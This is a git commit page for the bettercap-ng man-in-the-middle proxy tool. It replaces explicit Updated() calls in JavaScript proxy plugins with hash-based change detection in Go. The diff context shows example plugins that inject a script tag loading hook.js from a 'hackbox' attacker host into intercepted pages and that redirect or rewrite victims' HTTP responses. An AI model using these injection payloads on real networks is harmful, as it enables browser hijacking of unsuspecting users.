fix: no more explicit call to that ugly Updated method from proxy js plugins

This commit is contained in:
evilsocket 2018-02-08 12:32:22 +01:00
parent 3c2932514a
commit adc2dde170
7 changed files with 26 additions and 16 deletions

View file

@ -11,7 +11,6 @@ function onResponse(req, res) {
'</head>', '</head>',
'<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>' '<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>'
); );
res.Updated();
} }
} }
} }

View file

@ -19,6 +19,5 @@ function onRequest(req, res) {
res.Status = 301; res.Status = 301;
res.Headers = "Location: https://www.facebook.com/\n" + res.Headers = "Location: https://www.facebook.com/\n" +
"Connection: close"; "Connection: close";
res.Updated()
} }
} }

View file

@ -26,7 +26,6 @@ function onRequest(req, res) {
res.ContentType = "text/html"; res.ContentType = "text/html";
res.Headers = "Connection: close"; res.Headers = "Connection: close";
res.Body = ""; res.Body = "";
res.Updated();
} }
} }
@ -42,7 +41,6 @@ function onResponse(req, res) {
'</script>' + '</script>' +
'</head>' '</head>'
); );
res.Updated();
} }
} }
} }

View file

@ -18,8 +18,6 @@ function onRequest(req, res) {
"<div align=\"center\">Hello world from bettercap-ng!</div>" + "<div align=\"center\">Hello world from bettercap-ng!</div>" +
"</body>" + "</body>" +
"</html>"; "</html>";
res.Updated();
} }
} }
@ -37,6 +35,5 @@ function onResponse(req, res) {
"<div align=\"center\">Custom 404 from bettercap-ng.</div>" + "<div align=\"center\">Custom 404 from bettercap-ng.</div>" +
"</body>" + "</body>" +
"</html>"; "</html>";
res.Updated();
} }
} }

View file

@ -5,6 +5,4 @@ function onRequest(req, res) {
res.ContentType = "text/html"; res.ContentType = "text/html";
res.Headers = "Connection: close"; res.Headers = "Connection: close";
res.Body = readFile("caplets/www/index.html"); res.Body = readFile("caplets/www/index.html");
res.Updated();
} }

View file

@ -1,6 +1,7 @@
package modules package modules
import ( import (
"fmt"
"io/ioutil" "io/ioutil"
"net/http" "net/http"
"strings" "strings"
@ -16,8 +17,8 @@ type JSResponse struct {
Headers string Headers string
Body string Body string
wasUpdated bool refHash string
resp *http.Response resp *http.Response
} }
func NewJSResponse(res *http.Response) *JSResponse { func NewJSResponse(res *http.Response) *JSResponse {
@ -33,16 +34,31 @@ func NewJSResponse(res *http.Response) *JSResponse {
} }
} }
return &JSResponse{ resp := &JSResponse{
Status: res.StatusCode, Status: res.StatusCode,
ContentType: cType, ContentType: cType,
Headers: headers, Headers: headers,
resp: res, resp: res,
} }
resp.UpdateHash()
return resp
} }
func (j *JSResponse) Updated() { func (j *JSResponse) NewHash() string {
j.wasUpdated = true return fmt.Sprintf("%d.%s.%s.%s", j.Status, j.ContentType, j.Headers, j.Body)
}
func (j *JSResponse) UpdateHash() {
j.refHash = j.NewHash()
}
func (j *JSResponse) WasModified() bool {
newHash := j.NewHash()
if newHash != j.refHash {
return true
}
return false
} }
func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) { func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) {
@ -71,6 +87,7 @@ func (j *JSResponse) ReadBody() string {
} }
j.Body = string(raw) j.Body = string(raw)
j.UpdateHash()
return j.Body return j.Body
} }

View file

@ -168,7 +168,8 @@ func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse {
return nil return nil
} }
if jsres.wasUpdated == true { if jsres.WasModified() {
jsres.UpdateHash()
return jsres return jsres
} }
} }
@ -193,7 +194,8 @@ func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse {
return nil return nil
} }
if jsres.wasUpdated == true { if jsres.WasModified() {
jsres.UpdateHash()
return jsres return jsres
} }
} }